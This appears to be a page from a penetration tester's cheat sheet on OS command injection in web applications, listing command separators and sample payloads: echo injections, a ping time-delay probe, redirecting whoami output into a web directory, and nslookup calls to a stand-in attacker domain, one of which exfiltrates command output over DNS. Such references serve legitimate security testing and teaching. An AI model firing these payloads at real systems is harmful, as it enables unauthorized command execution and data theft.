> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/os-command-injection.md).

# OS command injection

Whenever a web app calls out to OS commands (e.g. via a pearl script), malicious commands may be injected. This can potentially lead to a full compromise of the system.

* [PortSwigger - Web Security Academy - OS command injection](https://portswigger.net/web-security/os-command-injection)

## Executing arbitrary commands

```http
param=& echo test &
```

```http
param=1|echo test
```

## Blind command injections

### Detecting vulnerabilities using time delays

```http
& ping -c 10 127.0.0.1 &
```

### Exploiting vulnerabilities by redirecting output

```http
& whoami > /var/www/static/whoami.txt &
```

### Exploiting vulnerabilities using out-of-band (OAST) techniques

```http
& nslookup kgji2ohoyw.web-attacker.com &
```

Exfiltrate data

```http
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

## Ways of injection

### Command separators

Windows and Unix:

* `&`
* `&&`
* `|`
* `||`

Unix only:

* `;`
* Newline: `0x0a` or 
* Backticks: `` `command` ``
* Dollar character: `$(command)`